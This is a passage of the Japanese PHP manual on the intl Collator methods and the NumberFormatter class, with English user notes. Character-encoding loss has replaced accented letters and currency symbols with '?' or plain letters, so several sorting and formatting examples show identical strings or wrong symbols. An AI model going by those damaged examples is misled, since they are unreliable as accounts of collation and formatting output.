Collator オブジェクト。

type

妥当なロケールか実際のロケール (それぞれ Locale::VALID_LOCALE および Locale::ACTUAL_LOCALE)。

返り値

照合データの実際のロケール名を返します。ルールベースの collator のインスタンスの場合やエラーが発生した場合は bool false を返します。

例

例1 collator_get_locale() の例

<?php
$coll    = collator_create( 'en_US_California' );
$res_val = collator_get_locale( $coll, Locale::VALID_LOCALE );
$res_act = collator_get_locale( $coll, Locale::ACTUAL_LOCALE );
printf( "Valid locale name: %s\nActual locale name: %s\n",
         $res_val, $res_act );
?>

上の例の出力は以下となります。

Requested locale name: en_US_California
Valid locale name: en_US
Actual locale name: en

参考

  • collator_create() - collator を作成する

User Contributed Notes

There are no user contributed notes for this page.


文字列のソート用のキーを取得する

  • ≪ Collator::getLocale
  • Collator::getStrength ≫
  • PHP Manual
  • Collator
  • 文字列のソート用のキーを取得する

Collator::getSortKey

collator_get_sort_key

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 1.0.3)

Collator::getSortKey -- collator_get_sort_key — 文字列のソート用のキーを取得する

説明

オブジェクト指向型

public Collator::getSortKey ( string $string ) : string|false

手続き型

collator_get_sort_key ( Collator $object , string $string ) : string|false

文字列用の照合キーを返します。 照合キーは文字列のかわりに直接比較することができますが、 これは実装依存の動きであり、ICUライブラリのバージョンによって変わる可能性があります。 一般的に、ソート用のキーはデータベース内部か、関数呼び出しコストがとても高い状況でのみ役に立ちます。

パラメータ

object

Collator オブジェクト。

string

キーの生成元となる文字列。

返り値

文字列の照合キーを返します。失敗した場合に false を返します

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

変更履歴

バージョン | 説明
5.3.15, 5.4.5 | ソート用のキーに NUL バイトは含まれなくなりました。

例

例1 collator_get_sort_key() の例

<?php
$s1 = 'Hello';

$coll = collator_create('en_US');
$res  = collator_get_sort_key($coll, $s1);

echo bin2hex($res);
?>

上の例の出力は、 たとえば以下のようになります。

3832404046010901dc08

参考

  • collator_sort() - 指定した collator で配列を並べ替える
  • collator_sort_with_sort_keys() - 指定した collator とキーで配列を並べ替える

User Contributed Notes

There are no user contributed notes for this page.


現在の照合強度を取得する

  • ≪ Collator::getSortKey
  • Collator::setAttribute ≫
  • PHP Manual
  • Collator
  • 現在の照合強度を取得する

Collator::getStrength

collator_get_strength

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::getStrength -- collator_get_strength — 現在の照合強度を取得する

説明

オブジェクト指向型

public Collator::getStrength ( ) : int

手続き型

collator_get_strength ( Collator $object ) : int

パラメータ

object

Collator オブジェクト。

返り値

現在の照合強度、あるいはエラー時に bool false を返します。

例

例1 collator_get_strength() の例

<?php
$coll     = collator_create( 'en_US' );
$strength = collator_get_strength( $coll );
?>

参考

  • Collator の定数
  • collator_set_strength() - 照合強度を設定する
  • collator_get_attribute() - 照合用の属性の値を取得する

User Contributed Notes

There are no user contributed notes for this page.


照合用の属性を設定する

  • ≪ Collator::getStrength
  • Collator::setStrength ≫
  • PHP Manual
  • Collator
  • 照合用の属性を設定する

Collator::setAttribute

collator_set_attribute

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::setAttribute -- collator_set_attribute — 照合用の属性を設定する

説明

オブジェクト指向型

public Collator::setAttribute ( int $attribute , int $value ) : bool

手続き型

collator_set_attribute ( Collator $object , int $attribute , int $value ) : bool

パラメータ

object

Collator オブジェクト。

attribute

属性。

value

属性の値。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 collator_set_attribute() の例

<?php
$coll = collator_create( 'en_CA' );
$val  = collator_get_attribute( $coll, Collator::NUMERIC_COLLATION );
if ($val === false) {
    // エラー処理
} elseif ($val === Collator::ON) {
    // 何かすてきなこと
}
?>

参考

  • Collator の定数
  • collator_get_attribute() - 照合用の属性の値を取得する
  • collator_set_strength() - 照合強度を設定する

User Contributed Notes

There are no user contributed notes for this page.


照合強度を設定する

  • ≪ Collator::setAttribute
  • Collator::sortWithSortKeys ≫
  • PHP Manual
  • Collator
  • 照合強度を設定する

Collator::setStrength

collator_set_strength

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::setStrength -- collator_set_strength — 照合強度を設定する

説明

オブジェクト指向型

public Collator::setStrength ( int $strength ) : bool

手続き型

collator_set_strength ( Collator $object , int $strength ) : bool

» ICU Collation Service は、多くの比較レベルをサポートしています ("レベル" という名前ですが、"強度" と呼ばれることもあります)。 これらのカテゴリを用いることで、ICU は、 各地域の規約にあわせた適切な文字列の並べ替えを正確に行えるようになります。 また、各段階を選択して採用することで、 テキスト内の文字列検索をさまざまな条件で行うことも可能になります。

  1. 第一段階 (Primary Level): 一般に、これは元となる文字自体の違いを表すものとして使用します (たとえば "a" < "b")。これが、いちばん強い違いとなります。 たとえば、辞書などではこれを用いてセクション分けしています。 これは、レベル 1 の強度 (level1 strength) ともいいます。

  2. 第二段階 (Secondary Level): 文字のアクセント記号を、第二段階の違いとします (たとえば "as" < "as" < "at")。 言語によっては、その他の文字の違いも第二段階の違いとみなすこともあります。 文字列のどこかで第一段階の違いがある場合、第二段階の違いは無視します。 これは、レベル 2 の強度 (level2 strength) ともいいます。

    注意:

    注意: 言語によっては (たとえばデンマーク語)、 アクセント記号は元の文字とは別の文字とみなすものもあります。 しかし、たいていの言語では、 アクセントなしの文字とアクセントつきの文字の違いは第二段階とみなします。

  3. 第三段階 (Tertiary Level): 大文字と小文字の違いを区別するのが第二段階の違いです (たとえば "ao" < "Ao" < "ao")。 さらに、ある文字とその派生形の違い (たとえば "A" と " ") も第三段階と判断します。さらに、カナの大文字と小文字の違い (訳注: たとえば "や" と "ゃ") もこの段階になります。 文字列のどこかで第一段階や第二段階の違いがある場合、 第三段階の違いは無視します。 これは、レベル 3 の強度 (level3 strength) ともいいます。

  4. 第四段階 (Quaternary Level): レベル 1 から 3 までで句読点を無視する場合 ("句読点の無視" を参照)、 追加の段階を使用して句読点つきの単語となしの単語を区別します (たとえば "ab" < "a-b" < "aB")。 どこかに第一段階や第二段階、第三段階の違いがある場合、 第四段階の違いは無視します。 これは、レベル 4 の強度 (level4 strength) ともいいます。 第四段階を使用するのは、句読点を無視する必要がある場合や 日本語のテキスト ("ひらがなの処理" を参照) を処理する場合のみです。

  5. 一致段階 (Identical Level): それ以外のすべてのレベルで等しかった場合に、最後の手段として一致段階を用います。 この段階で比較するのは、NFD 形式の文字列の Unicode コードポイントです。 レベル 1 から 4 までで違いがない場合にのみ比較します。 たとえば、ヘブライ語の朗誦記号 (cantillation mark) は、 この段階でしか識別できません。 この段階は慎重に使うようにしましょう。 ふたつの文字列でコードポイントの値のみが違うなどということは、 めったにないことだからです。 この段階を使用すると、(ソートキーの強度が上がるのと同時に) インクリメンタルな比較やソートキーの生成のパフォーマンスが劇的に低下します。 これは、レベル 5 の強度 (level5 strength) ともいいます。

たとえば、「アクセントを無視」したり「アクセントと大文字小文字の区別を無視」 したりしてテキストの検索を行いたいこともあります。 ほぼすべての文字は第三段階までで識別できるので、 大半のロケールではデフォルトの指定は第三段階となっています。 しかし、場合によっては第四段階の強度を使用することになります。 これを用いると、空白や句読点や記号など、 他の強度では無視されるような違いも識別するようになります。 文字の識別を非常に厳密に行うには、一致段階の強度を使用します (たとえばこれを使用すると、Mathematical Bold Small A と Mathematical Italic Small A が別の文字とみなされます)。 しかし、第三段階を超える強度を使用すると、 ソートキーが非常に長くなってしまい、 また同じ文字列に対する比較処理も非常に遅くなってしまいます。

パラメータ

object

Collator オブジェクト。

strength

設定する強度。

以下のいずれかです。

  • Collator::PRIMARY

  • Collator::SECONDARY

  • Collator::TERTIARY

  • Collator::QUATERNARY

  • Collator::IDENTICAL

  • Collator::DEFAULT_STRENGTH

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 collator_set_strength() の例

<?php
$arr  = array( 'ao', 'Ao', 'ao' );
$coll = collator_create( 'en_US' );

// デフォルトの強度で配列を並べ替えます
collator_sort( $coll, $arr );
var_export( $arr );

// 第一段階の強度で配列を並べ替えます
collator_set_strength( $coll, Collator::PRIMARY );
collator_sort( $coll, $arr );
var_export( $arr );
?>

上の例の出力は以下となります。

array (
  0 => 'ao',
  1 => 'Ao',
  2 => 'ao',
)
array (
  0 => 'ao',
  1 => 'Ao',
  2 => 'ao',
)

参考

  • Collator の定数
  • collator_get_strength() - 現在の照合強度を取得する

User Contributed Notes

There are no user contributed notes for this page.


指定した collator とキーで配列を並べ替える

  • ≪ Collator::setStrength
  • Collator::sort ≫
  • PHP Manual
  • Collator
  • 指定した collator とキーで配列を並べ替える

Collator::sortWithSortKeys

collator_sort_with_sort_keys

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::sortWithSortKeys -- collator_sort_with_sort_keys — 指定した collator とキーで配列を並べ替える

説明

オブジェクト指向型

public Collator::sortWithSortKeys ( array &$array ) : bool

手続き型

collator_sort_with_sort_keys ( Collator $object , array &$array ) : bool

collator_sort() と似ていますが、 ucol_getSortKey() が作成した ICU ソートキーを用いることで 大きな配列をより高速に処理できます。

パラメータ

object

Collator オブジェクト。

array

並べ替えたい文字列の配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 collator_sort_with_sort_keys() の例

<?php
$arr  = array( 'Kopfe', 'Kypper', 'Kopfe' );
$coll = collator_create( 'sv' );

collator_sort_with_sort_keys( $coll, $arr );
var_export( $arr );
?>

上の例の出力は以下となります。

array (
  0 => 'Kopfe',
  1 => 'Kypper',
  2 => 'Kopfe',
)

参考

  • Collator の定数
  • collator_sort() - 指定した collator で配列を並べ替える
  • collator_asort() - インデックスの情報を保持しつつ配列を並べ替える

User Contributed Notes

There are no user contributed notes for this page.


指定した collator で配列を並べ替える

  • ≪ Collator::sortWithSortKeys
  • NumberFormatter ≫
  • PHP Manual
  • Collator
  • 指定した collator で配列を並べ替える

Collator::sort

collator_sort

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Collator::sort -- collator_sort — 指定した collator で配列を並べ替える

説明

オブジェクト指向型

public Collator::sort ( array &$array , int $flags = Collator::SORT_REGULAR ) : bool

手続き型

collator_sort ( Collator $object , array &$array , int $flags = Collator::SORT_REGULAR ) : bool

この関数は、現在のロケールの規則にもとづいて配列を並べ替えます。

PHP の標準関数 sort() と同等です。

パラメータ

object

Collator オブジェクト。

array

並べ替えたい文字列の配列。

flags

オプションの並べ替え方式。以下のいずれか。

  • Collator::SORT_REGULAR - 通常の比較 (型を変更しない)

  • Collator::SORT_NUMERIC - 数値としての比較

  • Collator::SORT_STRING - 文字列としての比較

デフォルトの並べ替え方式は Collator::SORT_REGULAR です。flags に無効な値を指定した場合もこの方式を使います。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 collator_sort() の例

<?php
$coll = collator_create( 'en_US' );
$arr  = array( 'at', 'as', 'as' );

var_export( $arr );
collator_sort( $coll, $arr );
var_export( $arr );
?>

上の例の出力は以下となります。

array (
  0 => 'at',
  1 => 'as',
  2 => 'as',
)array (
  0 => 'as',
  1 => 'as',
  2 => 'at',
)

参考

  • Collator の定数
  • collator_asort() - インデックスの情報を保持しつつ配列を並べ替える
  • collator_sort_with_sort_keys() - 指定した collator とキーで配列を並べ替える

User Contributed Notes

There are no user contributed notes for this page.


NumberFormatter クラス

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

はじめに

プログラムで数値を保存したり操作したりする際には、 ロケールに依存しないバイナリ表現を使用します。 数値を表示するときに、ロケールにあわせた文字列形式に変換します。 たとえば 12345.67 という数値の表記はアメリカでは "12,345.67"、 フランスでは "12 345,67"、そしてドイツでは "12.345,67" となります。

NumberFormatter クラスのメソッドを実行すると、 数値や通貨、パーセンテージなどの値をロケールに応じた形式にフォーマットすることができます。 NumberFormatter はロケールを考慮した処理を行うので、 ロケールごとに別の NumberFormatter を用意する必要があります。 NumberFormatter のメソッドは、浮動小数点数値のような数値を ロケールにあわせた文字列に変換します。

通貨の場合は、通貨用の書式を使用してフォーマッタを作成します。 これは、ロケールにあわせて数値を適切な書式にして通貨記号をつけた文字列を返します。 もちろん、NumberFormatter クラスは為替レートの変換などは考慮しません。 指定した通貨にかかわらず、出力される数値は同じものとなります。 つまり、ロケールによって同じ数値が違う額を表すことになるということです。 9988776.65 という数値を指定したときの結果は次のようになります。

  • 9 988 776,65 ? (フランス)
  • 9.988.776,65 ? (ドイツ)
  • $9,988,776.65 in (アメリカ)

パーセンテージをフォーマットするには、 パーセンテージ用の書式を指定したフォーマッタを作成します。 これを使用すると、たとえば 0.75 のような小数が 75% と表示されるようになります。

spelled-out numbers のような複雑な書式を設定する場合は、 ルールベースの数値フォーマッタを使用します。

クラス概要

NumberFormatter {
/* メソッド */
public __construct ( string $locale , int $style , string $pattern = ? )
public static create ( string $locale , int $style , string $pattern = ? ) : NumberFormatter
public formatCurrency ( float $value , string $currency ) : string|false
public format ( int|float $value , int $type = ? ) : string
public getAttribute ( int $attr ) : int
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public getLocale ( int $type = ? ) : string
public getPattern ( ) : string
public getSymbol ( int $attr ) : string
public getTextAttribute ( int $attr ) : string
public parseCurrency ( string $value , string &$currency , int &$position = ? ) : float
public parse ( string $value , int $type = ? , int &$position = ? ) : mixed
public setAttribute ( int $attr , int $value ) : bool
public setPattern ( string $pattern ) : bool
public setSymbol ( int $attr , string $value ) : bool
public setTextAttribute ( int $attr , string $value ) : bool
}

定義済み定数

これらのスタイルは numfmt_create() で使用するもので、フォーマッタの形式を定義します。

NumberFormatter::PATTERN_DECIMAL (int)
パターンで定義する十進形式
NumberFormatter::DECIMAL (int)
十進形式
NumberFormatter::CURRENCY (int)
通貨形式
NumberFormatter::PERCENT (int)
パーセント形式
NumberFormatter::SCIENTIFIC (int)
科学形式
NumberFormatter::SPELLOUT (int)
ルールベースの省略しない形式
NumberFormatter::ORDINAL (int)
ルールベースの序数形式
NumberFormatter::DURATION (int)
ルールベースの連続形式
NumberFormatter::PATTERN_RULEBASED (int)
パターンで定義するルールベースの形式
NumberFormatter::CURRENCY_ACCOUNTING (int)
会計処理のための通貨フォーマット。例: 負の通貨量の場合、-$3.00 ではなく、($3.00) になります。 PHP 7.4.1 と ICU 53 から利用可能です。
NumberFormatter::DEFAULT_STYLE (int)
そのロケールのデフォルトの形式
NumberFormatter::IGNORE (int)
PATTERN_DECIMAL のエイリアス

これらの定数は、数値のパースやフォーマットの方法を定義します。 numfmt_format() や numfmt_parse() の引数として使用します。

NumberFormatter::TYPE_DEFAULT (int)
変数の型に由来する型
NumberFormatter::TYPE_INT32 (int)
32 ビット整数値としてフォーマット/パースする
NumberFormatter::TYPE_INT64 (int)
64 ビット整数値としてフォーマット/パースする
NumberFormatter::TYPE_DOUBLE (int)
浮動小数点数値としてフォーマット/パースする
NumberFormatter::TYPE_CURRENCY (int)
通貨値としてフォーマット/パースする

numfmt_get_attribute() および numfmt_set_attribute() で使用する数値フォーマット属性です。

NumberFormatter::PARSE_INT_ONLY (int)
整数値のみをパースする
NumberFormatter::GROUPING_USED (int)
グループ区切り文字を使用する
NumberFormatter::DECIMAL_ALWAYS_SHOWN (int)
常に小数点を表示する
NumberFormatter::MAX_INTEGER_DIGITS (int)
整数部の最大桁数
NumberFormatter::MIN_INTEGER_DIGITS (int)
整数部の最小桁数
NumberFormatter::INTEGER_DIGITS (int)
整数部の桁数
NumberFormatter::MAX_FRACTION_DIGITS (int)
小数部の最大桁数
NumberFormatter::MIN_FRACTION_DIGITS (int)
小数部の最小桁数
NumberFormatter::FRACTION_DIGITS (int)
小数部の桁数
NumberFormatter::MULTIPLIER (int)
乗数
NumberFormatter::GROUPING_SIZE (int)
グループ化のサイズ
NumberFormatter::ROUNDING_MODE (int)
丸めモード
NumberFormatter::ROUNDING_INCREMENT (int)
切り上げ
NumberFormatter::FORMAT_WIDTH (int)
format() の出力のパディング幅
NumberFormatter::PADDING_POSITION (int)
パディングを行う位置。 使用できる引数の値についてはパディング位置に関する定数を参照ください。
NumberFormatter::SECONDARY_GROUPING_SIZE (int)
第二段階のグループ化のサイズ
NumberFormatter::SIGNIFICANT_DIGITS_USED (int)
有効数字を使用する
NumberFormatter::MIN_SIGNIFICANT_DIGITS (int)
有効数字の最小桁数
NumberFormatter::MAX_SIGNIFICANT_DIGITS (int)
有効数字の最大桁数
NumberFormatter::LENIENT_PARSE (int)
ルールベースのフォーマットで使用する Lenient パースモード

numfmt_get_text_attribute() および numfmt_set_text_attribute() で使用する数値フォーマットテキスト属性です。

NumberFormatter::POSITIVE_PREFIX (int)
正の数のプレフィックス
NumberFormatter::POSITIVE_SUFFIX (int)
正の数のサフィックス
NumberFormatter::NEGATIVE_PREFIX (int)
負の数のプレフィックス
NumberFormatter::NEGATIVE_SUFFIX (int)
負の数のサフィックス
NumberFormatter::PADDING_CHARACTER (int)
余白を埋める際に使用する文字
NumberFormatter::CURRENCY_CODE (int)
ISO 通貨コード
NumberFormatter::DEFAULT_RULESET (int)
デフォルトのルールセット。 ルールベースのフォーマッタでのみ有効です。
NumberFormatter::PUBLIC_RULESETS (int)
パブリックルールセット。 これは、ルールベースのフォーマッタでのみ有効です。 これは読み込み専用の属性です。 パブリックルールセットは文字列として返され、 個々のルールセットは ';' (セミコロン) で区切られています。

numfmt_get_symbol() および numfmt_set_symbol() で使用する数値フォーマット記号です。

NumberFormatter::DECIMAL_SEPARATOR_SYMBOL (int)
小数点
NumberFormatter::GROUPING_SEPARATOR_SYMBOL (int)
グループ区切り文字
NumberFormatter::PATTERN_SEPARATOR_SYMBOL (int)
パターン区切り文字
NumberFormatter::PERCENT_SYMBOL (int)
パーセント記号
NumberFormatter::ZERO_DIGIT_SYMBOL (int)
ゼロ
NumberFormatter::DIGIT_SYMBOL (int)
パターン内で数字を表す文字
NumberFormatter::MINUS_SIGN_SYMBOL (int)
マイナス記号
NumberFormatter::PLUS_SIGN_SYMBOL (int)
プラス記号
NumberFormatter::CURRENCY_SYMBOL (int)
通貨記号
NumberFormatter::INTL_CURRENCY_SYMBOL (int)
国際通貨記号
NumberFormatter::MONETARY_SEPARATOR_SYMBOL (int)
金額の区切り文字
NumberFormatter::EXPONENTIAL_SYMBOL (int)
指数記号
NumberFormatter::PERMILL_SYMBOL (int)
パーミル記号
NumberFormatter::PAD_ESCAPE_SYMBOL (int)
パディング文字のエスケープ記号
NumberFormatter::INFINITY_SYMBOL (int)
無限大記号
NumberFormatter::NAN_SYMBOL (int)
非数値記号
NumberFormatter::SIGNIFICANT_DIGIT_SYMBOL (int)
有効数字記号
NumberFormatter::MONETARY_GROUPING_SEPARATOR_SYMBOL (int)
金額のグループ区切り文字

numfmt_get_attribute() および
numfmt_set_attribute() で、
NumberFormatter::ROUNDING_MODE
属性に使用する丸めモードの値です。

NumberFormatter::ROUND_CEILING (int)
正の無限大に向けて丸めるモード
NumberFormatter::ROUND_DOWN (int)
ゼロに向けて丸めるモード
NumberFormatter::ROUND_FLOOR (int)
負の無限大に向けて丸めるモード
NumberFormatter::ROUND_HALFDOWN (int)
"一番近いところ" に向けて丸めるモード。 両方から等距離にある場合はゼロに向けて丸めます。
NumberFormatter::ROUND_HALFEVEN (int)
"一番近いところ" に向けて丸めるモード。 両方から等距離にある場合は偶数になるように丸めます。
NumberFormatter::ROUND_HALFUP (int)
"一番近いところ" に向けて丸めるモード。 両方から等距離にある場合はゼロから離れる方向に丸めます。
NumberFormatter::ROUND_UP (int)
ゼロから離れる方向に丸めるモード

numfmt_get_attribute() および
numfmt_set_attribute() で、
NumberFormatter::PADDING_POSITION
属性に使用するパディング位置の値です。

NumberFormatter::PAD_AFTER_PREFIX (int)
プレフィックスの後にパディング文字を入れる
NumberFormatter::PAD_AFTER_SUFFIX (int)
サフィックスの後にパディング文字を入れる
NumberFormatter::PAD_BEFORE_PREFIX (int)
プレフィックスの前にパディング文字を入れる
NumberFormatter::PAD_BEFORE_SUFFIX (int)
サフィックスの前にパディング文字を入れる

参考

  • » ICU formatting documentation
  • » ICU number formatters
  • » ICU decimal formatters
  • » ICU rule-based number formatters

目次

  • NumberFormatter::create — 数値フォーマッタを作成する
  • NumberFormatter::formatCurrency — 通貨の値をフォーマットする
  • NumberFormatter::format — 数値をフォーマットする
  • NumberFormatter::getAttribute — 属性を取得する
  • NumberFormatter::getErrorCode — フォーマッタの直近のエラーコードを取得する
  • NumberFormatter::getErrorMessage — フォーマッタの直近のエラーメッセージを取得する
  • NumberFormatter::getLocale — フォーマッタのロケールを取得する
  • NumberFormatter::getPattern — フォーマッタのパターンを取得する
  • NumberFormatter::getSymbol — 記号を取得する
  • NumberFormatter::getTextAttribute — テキストの属性を取得する
  • NumberFormatter::parseCurrency — 通貨をパースする
  • NumberFormatter::parse — 数値をパースする
  • NumberFormatter::setAttribute — 属性を設定する
  • NumberFormatter::setPattern — フォーマッタのパターンを設定する
  • NumberFormatter::setSymbol — 記号の値を設定する
  • NumberFormatter::setTextAttribute — テキスト属性を設定する

User Contributed Notes

AF 17-Dec-2020 06:25
Please pay attention to the Arabic decimal separator (https://en.wikipedia.org/wiki/Decimal_separator#Other_numeral_systems).

All the following conditions are true:
<?php
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) === '?';
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) == '?';

(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) !== ',';
(new \NumberFormatter("ar_AE", \NumberFormatter::DEFAULT_STYLE))->getSymbol(\NumberFormatter::DECIMAL_SEPARATOR_SYMBOL) != ',';
?>
stan at dragnev dot ca 06-Nov-2020 04:13
Here's an example of how to use PATTERN_DECIMAL to print a number with two fraction digits, use () for negative numbers and pad to five characters to the left of the decimal point, using spaces as the padding character:

<?php

$fmt = new NumberFormatter("en-CA", NumberFormatter::PATTERN_DECIMAL, "* #####.00 ;(* #####.00)");
echo $fmt->format(-45.1);

// Outputs: "  (45.10)"

?>

Note that the ; in the pattern denotes the beginning of a subpattern, which is used for negative numbers. Hence the brackets around the pattern after the semicolon.
Joey 20-Mar-2017 10:27
Be warned that this class sometimes lacks sufficient error output. I recently instantiated it while invalid pattern to the constructor.

    php -r '$nf = new \NumberFormatter("tlh-KX.UTF8", \NumberFormatter::IGNORE, "{,,#;#}");var_dump($nf->format(5));'

    Fatal error: Call to a member function format() on null in Command line code on line 1

Rather than emitting an error message or throwing an exception null is returned after calling new.

I'm not sure if it's fixed in PHP 7 but it's something to watch out for. Make sure you check your parameters very closely.
Adam 17-Feb-2017 12:21
Good to know Numberformatter::SPELLOUT using soft hypens.

So, if you want to avoid it use preg_replace:

<?php
$azaz = new NumberFormatter("hu-HU", NumberFormatter::SPELLOUT);
$text = preg_replace('~\x{00AD}~u', '', $azaz->format(123456));
print $text;
?>
Output without preg_replace:
egy--szaz--huszon--harom--ezer negy--szaz--otven--hat

Output with preg_replace:
egyszazhuszonharomezer negyszazotvenhat
giorgio dot liscio at email dot it 21-Mar-2011 10:59
this class seems to be painful: it is not, formatting and parsing are highly customizable, but what you probably need is really simple:

if you want to localize a number use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::DECIMAL);
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12
$a->setAttribute(\NumberFormatter::MIN_FRACTION_DIGITS, 0);
$a->setAttribute(\NumberFormatter::MAX_FRACTION_DIGITS, 100); // by default some locales got max 2 fraction digits, that is probably not what you want
echo $a->format(12345.12345) . "<br>"; // outputs 12.345,12345
?>

if you want to print money use:

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->format(12345.12345) . "<br>"; // outputs ?12.345,12
?>

if you have money data stored as (for example) US dollars and you want to print them using the it-IT notation, you need to use

<?php
$a = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
echo $a->formatCurrency(12345, "USD") . "<br>"; // outputs $ 12.345,00 and it is formatted using the italian notation (comma as decimal separator)
?>

another useful example about currency (how to obtain the currency name by a locale string):

<?php
$frontEndFormatter = new \NumberFormatter("it-IT", \NumberFormatter::CURRENCY);
$adminFormatter = new \NumberFormatter("en-US", \NumberFormatter::CURRENCY);
$symbol = $adminFormatter->getSymbol(\NumberFormatter::INTL_CURRENCY_SYMBOL); // got USD
echo $frontEndFormatter->formatCurrency(12345.12345,  $symbol) . "<br>";
?>
sudheer at binaryvibes dot co dot in 12-Jan-2011 12:41
Sample script to print number in English.

<?php
$f = new NumberFormatter("en", NumberFormatter::SPELLOUT);
echo $f->format(123456);

?>

Produces the result:
one hundred twenty-three thousand four hundred fifty-six


数値フォーマッタを作成する

  • ≪ NumberFormatter
  • NumberFormatter::formatCurrency ≫
  • PHP Manual
  • NumberFormatter
  • 数値フォーマッタを作成する

NumberFormatter::create

numfmt_create

NumberFormatter::__construct

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::create -- numfmt_create -- NumberFormatter::__construct — 数値フォーマッタを作成する

説明

オブジェクト指向型 (メソッド)

public static NumberFormatter::create ( string $locale , int $style , string $pattern = ? ) : NumberFormatter

手続き型

numfmt_create ( string $locale , int $style , string $pattern = ? ) : NumberFormatter

オブジェクト指向型 (コンストラクタ):

public NumberFormatter::__construct ( string $locale , int $style , string $pattern = ? )

数値フォーマッタを作成します。

パラメータ

locale

数値フォーマットするロケール (ロケール名。たとえば en_CA)。

style

フォーマットの形式。 フォーマット形式 定数のいずれか。 NumberFormatter::PATTERN_DECIMAL あるいは NumberFormatter::PATTERN_RULEBASED を指定した場合は指定したパターンの数値フォーマットをオープンします。 これは、それぞれ » ICU DecimalFormat ドキュメント あるいは » ICU RuleBasedNumberFormat ドキュメント で述べられている構文を満たす必要があります。

pattern

選択した形式がパターンを要求するものである場合のパターン文字列。

返り値

NumberFormatter オブジェクト、 あるいはエラー時に false を返します。

例

例1 numfmt_create() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
$fmt = numfmt_create( 'it', NumberFormatter::SPELLOUT );
echo numfmt_format($fmt, 1142)."\n";
?>

例2 NumberFormatter::create() の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo $fmt->format(1234567.891234567890000)."\n";
$fmt = new NumberFormatter( 'it', NumberFormatter::SPELLOUT );
echo $fmt->format(1142)."\n";
?>

上の例の出力は以下となります。

1.234.567,891
millicentoquarantadue

参考

  • numfmt_format() - 数値をフォーマットする
  • numfmt_parse() - 数値をパースする

User Contributed Notes

igorsantos07 12-Sep-2018 12:46
Although there are ORDINAL and SPELLOUT formatters, it's not possible to join these together to turn "2" into "second". You'll either get "2nd", or "two", or something unexpected if you try to use bitwise operators.
daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 08:43
It should be noted that the locale string passed into NumberFormatter's constructor doesn't play with UCA keywords quite as readily as, say, the Collator and IntlDateFormatter classes' constructors.

According to the Unicode spec (http://www.unicode.org/reports/tr35), I should be able to specify a locale of "ja_JP@numbers=jpanfin" which, for spellout mode, should give me Japanese financial (ie. anti-forgery) numerals. When passed into NumberFormatter's constructor, "ja_JP@numbers=jpanfin" doesn't work.

However, when I look at a dump of NumberFormatter::getPattern() for the ja_JP locale, I see that the financial numerals *are* in there (as %financial). Here's how we wrangle them out of the NumberFormatter:

<?php
$number = 1234567890;

$formatter = new NumberFormatter('ja_JP', NumberFormatter::SPELLOUT);

$formatter->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%financial");

echo $formatter->format($number);
//above gives [拾弐億参千四百伍拾六萬七千八百九拾] (as opposed to [十二億三千四百五十六万七千八百九十]) - bingo!
?>
F. Poirotte 15-Nov-2009 08:26
When formatting durations using the NumberFormatter::DURATION type, you may also need to use NumberFormatter::setTextAttribute to get the desired output.

<?php

$fmt = new NumberFormatter('en', NumberFormatter::DURATION);
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

// "%in-numerals" is the default ruleset, so this results in the same as above.
$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%in-numerals");
// Outputs: string(7) "3:25:45"
var_dump($fmt->format(12345));

$fmt->setTextAttribute(NumberFormatter::DEFAULT_RULESET, "%with-words");
// Outputs: string(31) "3 hours, 25 minutes, 45 seconds"
var_dump($fmt->format(12345));

$fmt2 = new NumberFormatter('fr', NumberFormatter::DURATION);
// Outputs: string(7) "12 345"
// See notes below.
var_dump($fmt2->format(12345));

?>

This is a little counter-intuitive because there is not much doc available about the DURATION type.

Also, as far as I can tell, only the English (en) locale has support for the "%in-numerals" & "%with-words" rulesets. Other locales seem to simply format the input as if the DECIMAL type had been used (at least using "fr" or "de" as the target locale).

One way to provide that feature across different locales is to extract the ruleset implicitely used by NumberFormatter::DURATION and adapt it for the locales you're targetting. Use NumberFormatter::getPattern to extract the ruleset.


通貨の値をフォーマットする

  • ≪ NumberFormatter::create
  • NumberFormatter::format ≫
  • PHP Manual
  • NumberFormatter
  • 通貨の値をフォーマットする

NumberFormatter::formatCurrency

numfmt_format_currency

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::formatCurrency -- numfmt_format_currency — 通貨の値をフォーマットする

説明

オブジェクト指向型

public NumberFormatter::formatCurrency ( float $value , string $currency ) : string|false

手続き型

numfmt_format_currency ( NumberFormatter $fmt , float $value , string $currency ) : string|false

